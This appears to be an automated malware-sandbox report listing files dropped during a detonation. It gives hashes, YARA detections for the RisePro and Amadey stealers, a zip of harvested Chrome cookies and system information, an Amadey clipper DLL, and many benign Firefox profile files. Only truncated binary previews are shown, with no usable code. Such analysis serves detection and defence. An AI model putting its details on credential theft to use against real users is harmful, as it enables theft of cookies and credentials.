C:\Users\user\AppData\Local\Temp\xVorLOq_sWZyw11ZiThUZWTpoEoWfgdl.zip

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	2772
Entropy (8bit):	7.72922712384899
Encrypted:	false
SSDEEP:	48:98a+XZV//QWGPvcc/ztt2BxkPXzQ7FdwUjpL/HfYDHH5AaICTL7n3KJ6UkPOx6pw:uZV//Q1vccrtt2BxTzFTfYDH6aI073K7
MD5:	9C69CD8887E9923243B43881D9C0DA1F
SHA1:	37D756CDBDF77CE8B3E245E2CCD272694C6F3D5C
SHA-256:	5B8D35CCA89C168F6B1A632758812B2BCE4BC961D38B5150103270C1F7E77B37
SHA-512:	8EFE9FF21E97166202AA76CAA64C14EA820F84DB40A4F826586464CE4D68B1EBF46666E90E4D179E758A5EAF570CF82612D57CC707A2E1BDD20F368E8EAAEEBF
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\xVorLOq_sWZyw11ZiThUZWTpoEoWfgdl.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK........H.2X................Cookies\..PK........H.2XA.`%............Cookies\Chrome_Default.txt....@.........i.&h.Cn..L...\.FA@.~..v7..O...%!es.f..../S..a...@.,ek.%.H......</<2..,...I..w......1q.f.F+PiM.=h.5..2....0....O..u_.~}Z.UM........y...Rj..4H..D...xLY@....[.d.c&......G_............j%q%....Y.\|.....P...u..u..85/..Z`...-..c...^A8n...Y.3......j.G!....c.....AM@!._W.yQbs.@.....h.y.-......\|J..i...r....c....M...E...GS...C....X..C.U..v.%......C,.L0,......5.=....6.....PK........H.2X9p..Y...........information.txt.X.S.6.~.L........V.e9O...w.+%.LK...Jp..vHh..{e9!..A.d.....~..u.....f.,.v.dQ.y.G..n..9..G....d...OY.<D0a.a.>..:.#_..3..B..=......R.0..,....u..(.=.p.C......DO`..\.\|N..v.'.6H.I7t..{4.(#.s..Y@"_p.q^..C....I.E.......\|^9?.../E..u^<N.....)....8)SGnd.3Qk.,....Rea...M...R.!.~.. ..e.....N.........nk.W........D.T........\..kW..zV^..}....F.E..7......t..d.~(.}.r......FU..\&.3..e....@....~.{.-V.B...\v;...,...eE.9..I\>...,.d...."..c...&.........&.....

C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.38921269820025
Encrypted:	false
SSDEEP:	3072:MYHZ5o8D+sjrW2sosmrtuQRYKr77BUEYW0Z:McDoBkPsituQR5+W0Z
MD5:	85AF6C99D918757171D2D280E5AC61EF
SHA1:	BA1426D0ECF89825F690ADAD0A9F3C8C528ED48E
SHA-256:	150FB1285C252E2B79DEA84EFB28722CC22D370328CEB46FB9553DE1479E001E
SHA-512:	12C061D8FF87CDD3B1F26B84748396E4F56FC1429152E418988E042BC5362DF96A2F2C17BCF826D17A8BAE9045EE3BA0C063FB565D75C604E47009FF442E8C8E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll, Author: Joe Security Rule: JoeSecurity_Amadey_3, Description: Yara detected Amadey\'s Clipper DLL, Source: C:\Users\user\AppData\Roaming\006700e5a2ab05\clip64.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 96%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......'...c.j.c.j.c.j.8.i.i.j.8.o..j.8.n.q.j..n.l.j..i.r.j..o.B.j.8.k.d.j.c.k...j...c.`.j...j.b.j.....b.j...h.b.j.Richc.j.........................PE..L...h.e...........!................!g....... ............................................@..........................z......<{..P....................................o..8............................o..@............ ..H............................text...V........................... ..`.rdata...b... ...d..................@..@.data................v..............@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\006700e5a2ab05\cred64.dll

Process:	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.621829903792328
Encrypted:	false
SSDEEP:	3:qVoB3tURObOb0qHXboAcMBXqWrKb0GklIVLLPROZ/eIwcWWGu:q43tIkObRHXiMIWObtklI5LPROeIpfGu
MD5:	1B7C22A214949975556626D7217E9A39
SHA1:	D01C97E2944166ED23E47E4A62FF471AB8FA031F
SHA-256:	340C8464C2007CE3F80682E15DFAFA4180B641D53C14201B929906B7B0284D87
SHA-512:	BA64847CF1D4157D50ABE4F4A1E5C1996FE387C5808E2F758C7FB3213BFEFE1F3712D343F0C30A16819749840954654A70611D2250FD0F7B032429DB7AFD2CC5
Malicious:	false
Reputation:	unknown
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.18.0 (Ubuntu)</center>..</body>..</html>..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\40371339ad31a7e6.customDestinations-ms (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	5488
Entropy (8bit):	3.3093770679683168
Encrypted:	false
SSDEEP:	24:Nibdf8IAk4TIUx2dWoM15LLN8zmwibdf8IAk4swM+bpoqdWoM15LLFX1RgmSibdo:NmdyKUgdwoz7mdy66BdwAdmdy6adwi1
MD5:	F7F842403AB7AFDB0620E92594C822A8
SHA1:	10E056F42A1C93EDB53A191CAB3AA4E67FD9B4E8
SHA-256:	3EF81C87E49D946678D9D024697282AB84DCAF13239B88F07D3673B5094C55CD
SHA-512:	92C3F25D8E300C451500B0E13AB0A11FEF213067339F040C089685E0A607F1D495E907F25461AA75B6CF7867D15E1AD22929544D5D5DDC5207C9B24BB3A93532
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.@.. ...p........6).I..........S...........................P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.I1XP.....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....h.1.....CW.X..MOZILL~1..P......CW}W1XR.............................>.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.....b.2..S..<W,. .firefox.exe.H......CW}W1XR...............................f.i.r.e.f.o.x...e.x.e.......[...............-.......Z............[.[.....C:\Program Files\Mozilla Firefox\firefox.exe....O.p.e.n. .a. .n.e.w. .b.r.o.w.s.e.r. .t.a.b.....-.n.e.w.-.t.a.b. .a.b.o.u.t.:.b.l.a.n.k.,.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.\.f.i.r.e.f.o.x...e.x.e.........%ProgramFiles%\Mozilla Firefox\firefox.exe................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5RT2NYC8JF78ZTRJNQYA.temp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	5488
Entropy (8bit):	3.3093770679683168
Encrypted:	false
SSDEEP:	24:Nibdf8IAk4TIUx2dWoM15LLN8zmwibdf8IAk4swM+bpoqdWoM15LLFX1RgmSibdo:NmdyKUgdwoz7mdy66BdwAdmdy6adwi1
MD5:	F7F842403AB7AFDB0620E92594C822A8
SHA1:	10E056F42A1C93EDB53A191CAB3AA4E67FD9B4E8
SHA-256:	3EF81C87E49D946678D9D024697282AB84DCAF13239B88F07D3673B5094C55CD
SHA-512:	92C3F25D8E300C451500B0E13AB0A11FEF213067339F040C089685E0A607F1D495E907F25461AA75B6CF7867D15E1AD22929544D5D5DDC5207C9B24BB3A93532
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.@.. ...p........6).I..........S...........................P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.I1XP.....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....h.1.....CW.X..MOZILL~1..P......CW}W1XR.............................>.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.....b.2..S..<W,. .firefox.exe.H......CW}W1XR...............................f.i.r.e.f.o.x...e.x.e.......[...............-.......Z............[.[.....C:\Program Files\Mozilla Firefox\firefox.exe....O.p.e.n. .a. .n.e.w. .b.r.o.w.s.e.r. .t.a.b.....-.n.e.w.-.t.a.b. .a.b.o.u.t.:.b.l.a.n.k.,.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.\.f.i.r.e.f.o.x...e.x.e.........%ProgramFiles%\Mozilla Firefox\firefox.exe................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	5488
Entropy (8bit):	3.3093770679683168
Encrypted:	false
SSDEEP:	24:Nibdf8IAk4TIUx2dWoM15LLN8zmwibdf8IAk4swM+bpoqdWoM15LLFX1RgmSibdo:NmdyKUgdwoz7mdy66BdwAdmdy6adwi1
MD5:	F7F842403AB7AFDB0620E92594C822A8
SHA1:	10E056F42A1C93EDB53A191CAB3AA4E67FD9B4E8
SHA-256:	3EF81C87E49D946678D9D024697282AB84DCAF13239B88F07D3673B5094C55CD
SHA-512:	92C3F25D8E300C451500B0E13AB0A11FEF213067339F040C089685E0A607F1D495E907F25461AA75B6CF7867D15E1AD22929544D5D5DDC5207C9B24BB3A93532
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.@.. ...p........6).I..........S...........................P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.I1XP.....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....h.1.....CW.X..MOZILL~1..P......CW}W1XR.............................>.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.....b.2..S..<W,. .firefox.exe.H......CW}W1XR...............................f.i.r.e.f.o.x...e.x.e.......[...............-.......Z............[.[.....C:\Program Files\Mozilla Firefox\firefox.exe....O.p.e.n. .a. .n.e.w. .b.r.o.w.s.e.r. .t.a.b.....-.n.e.w.-.t.a.b. .a.b.o.u.t.:.b.l.a.n.k.,.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.\.f.i.r.e.f.o.x...e.x.e.........%ProgramFiles%\Mozilla Firefox\firefox.exe................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AYHAFFVVXT6VFSMI6TL6.temp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	5488
Entropy (8bit):	3.3093770679683168
Encrypted:	false
SSDEEP:	24:Nibdf8IAk4TIUx2dWoM15LLN8zmwibdf8IAk4swM+bpoqdWoM15LLFX1RgmSibdo:NmdyKUgdwoz7mdy66BdwAdmdy6adwi1
MD5:	F7F842403AB7AFDB0620E92594C822A8
SHA1:	10E056F42A1C93EDB53A191CAB3AA4E67FD9B4E8
SHA-256:	3EF81C87E49D946678D9D024697282AB84DCAF13239B88F07D3673B5094C55CD
SHA-512:	92C3F25D8E300C451500B0E13AB0A11FEF213067339F040C089685E0A607F1D495E907F25461AA75B6CF7867D15E1AD22929544D5D5DDC5207C9B24BB3A93532
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.@.. ...p........6).I..........S...........................P.O. .:i.....+00.../C:\.....................1.....EW.3..PROGRA~1..t......O.I1XP.....B...............J.......j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....h.1.....CW.X..MOZILL~1..P......CW}W1XR.............................>.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.....b.2..S..<W,. .firefox.exe.H......CW}W1XR...............................f.i.r.e.f.o.x...e.x.e.......[...............-.......Z............[.[.....C:\Program Files\Mozilla Firefox\firefox.exe....O.p.e.n. .a. .n.e.w. .b.r.o.w.s.e.r. .t.a.b.....-.n.e.w.-.t.a.b. .a.b.o.u.t.:.b.l.a.n.k.,.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.M.o.z.i.l.l.a. .F.i.r.e.f.o.x.\.f.i.r.e.f.o.x...e.x.e.........%ProgramFiles%\Mozilla Firefox\firefox.exe................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.931481728345866
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLSFZ8P:gXiNFS+OcUGOdwiOdwBjkYLIZ8P
MD5:	DE11AD4DA0F9C6D18CE2E59480A73B5A
SHA1:	F177ACC2C9CA37926F5F4B847D981A67C1BABC58
SHA-256:	021DA5A1A9EEB6AD0CBBA853E6C1E8FEE65B66B3B16D91E859E1A253494F5AF6
SHA-512:	1A3F5EC52C708F1B16F1C151FDA5C4C01B5F7448759C917D8546A3055424030BC7755D8F5CB119BF2EC2DE89B31CF1BBB673C6EF6CBDE16BA0337A2A25868B7D
Malicious:	false
Reputation:	unknown
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.931481728345866
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLSFZ8P:gXiNFS+OcUGOdwiOdwBjkYLIZ8P
MD5:	DE11AD4DA0F9C6D18CE2E59480A73B5A
SHA1:	F177ACC2C9CA37926F5F4B847D981A67C1BABC58
SHA-256:	021DA5A1A9EEB6AD0CBBA853E6C1E8FEE65B66B3B16D91E859E1A253494F5AF6
SHA-512:	1A3F5EC52C708F1B16F1C151FDA5C4C01B5F7448759C917D8546A3055424030BC7755D8F5CB119BF2EC2DE89B31CF1BBB673C6EF6CBDE16BA0337A2A25868B7D
Malicious:	false
Reputation:	unknown
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\Telemetry.FailedProfileLocks.txt

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addons.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addons.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 8, database pages 7, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	229376
Entropy (8bit):	0.7371681359250382
Encrypted:	false
SSDEEP:	384:w1zkVmvQhyn+Zoz674A333JwMMUNlBN80/LKXkjlWv:wbMr1CRH
MD5:	1B9DC4D0241D41000826BECD906A8FFB
SHA1:	BF20054A9806087C8C4CA05E16B63D281D380314
SHA-256:	A9928ECC68E1B901F2EBC1CE51DA56976D5ADA1D164604138AF01038EC36DBDB
SHA-512:	C86F5842E7FD7D8127B8B6AD1D75BDA19D72396825D0B70304DB91C6ADD6E087C04C9C9F98BD06811E5BFF880918A417E221CA2136B95F0C5C4A6A31F413A3B6
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......z..{...{.{j{*z.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	229944
Entropy (8bit):	0.6446034655770869
Encrypted:	false
SSDEEP:	384:7SWbj1c333JwMMUNlBN80/LKX1H1zkVmvQhyn+Zoz67j:XMr1CRJS
MD5:	3FE4D10B05F3C95668282BBB1D5CB191
SHA1:	6268C2328DAD700D24FD83313ED3136DB6E2FC10
SHA-256:	C7582DF491CB0B5CD6070F553E135906E9019859A522B8D5A3A6009D8A1C76A6
SHA-512:	D7FCCBD8C77F4D5B238CA177DF72A34D0DDE40233EFA4B877E91A97B22D6A66712F3F6D11D820C6EBFDCDA5DE4A60EB4A023DC0C8125ACFDFA77A410D3F81760
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....eR6...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k......k......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\content-prefs.sqlite-journal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	33288
Entropy (8bit):	0.30845807722871954
Encrypted:	false
SSDEEP:	24:7+ti6LCvwae+Q8Uu50xj0aWe9LxYkKA25Q5B:7Mi6awae+QtMImelekKDa5B
MD5:	5E3ADA11E2AF86F3A23BC4A2F9EA75F9
SHA1:	34561B7FDF95A7990F8531DA1191313066997E4C
SHA-256:	2AB15677200649F96527B0B7D304A37B5FCF87247D21315C6A4AFE7A4604EA9D
SHA-512:	EB58AFEE24B1F1A97E7FC28A3DEB79CC58B55C1D90D38BE1D4C64A750D6CD9AD0550122A7BC7BFE8DA9AE12C072EDC63CC8D1EB1227604BF1D47FE705A00EB34
Malicious:	false
Reputation:	unknown
Preview:	.... .c.....D.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.............................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.037519882034617556
Encrypted:	false
SSDEEP:	48:DQV9rhvWTabMFjhw+uo7LW7Dsebx2oGUN:DQVhxLbyR17LWXzbx9GUN
MD5:	E4F7F740E70B0007D35743025697B5AB
SHA1:	0ECE2F640B31CFFFEDC4DD15AB712B77AECE6E44
SHA-256:	7E36170BD6BF30243B2E94A5FECE4D80992B72751AC2748D73EF98D1A53E580B
SHA-512:	28F6C1B3B506AC44E542D5FF9E6E7EBD7CCDD885FC054679D8B4F2ACEB011DE1C8D9C3CD6FEFD8742D888D1EEBEFBF7ED35D33832CA3B07C6122FB45ADD4E4B6
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.04127362192188991
Encrypted:	false
SSDEEP:	6:G3tmsUndCy2HY3tmsUndCyulln9X7lilX:YtmDEy2ytmDEyul/74l
MD5:	495228863D136BA65DB287AAD34644AB
SHA1:	965E90BDEE2A62EC4EB08544E18AA87C5BA85612
SHA-256:	CC6BB0A87A3FAA62D294760B6E0169B435EF6BB6396657B65699A72598BA5CFE
SHA-512:	52EB391E87BF04D1DF4BB9AD897C412A1DFC328C2476D6032D4D0994E8F6B6B4D07B47AE36A55C6D7AFD92031B0DFBF7022DAD84907267F1232F57740C8F360D
Malicious:	false
Reputation:	unknown
Preview:	..-......................O.]b.?..s.b8.......W....-......................O.]b.?..s.b8.......W..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

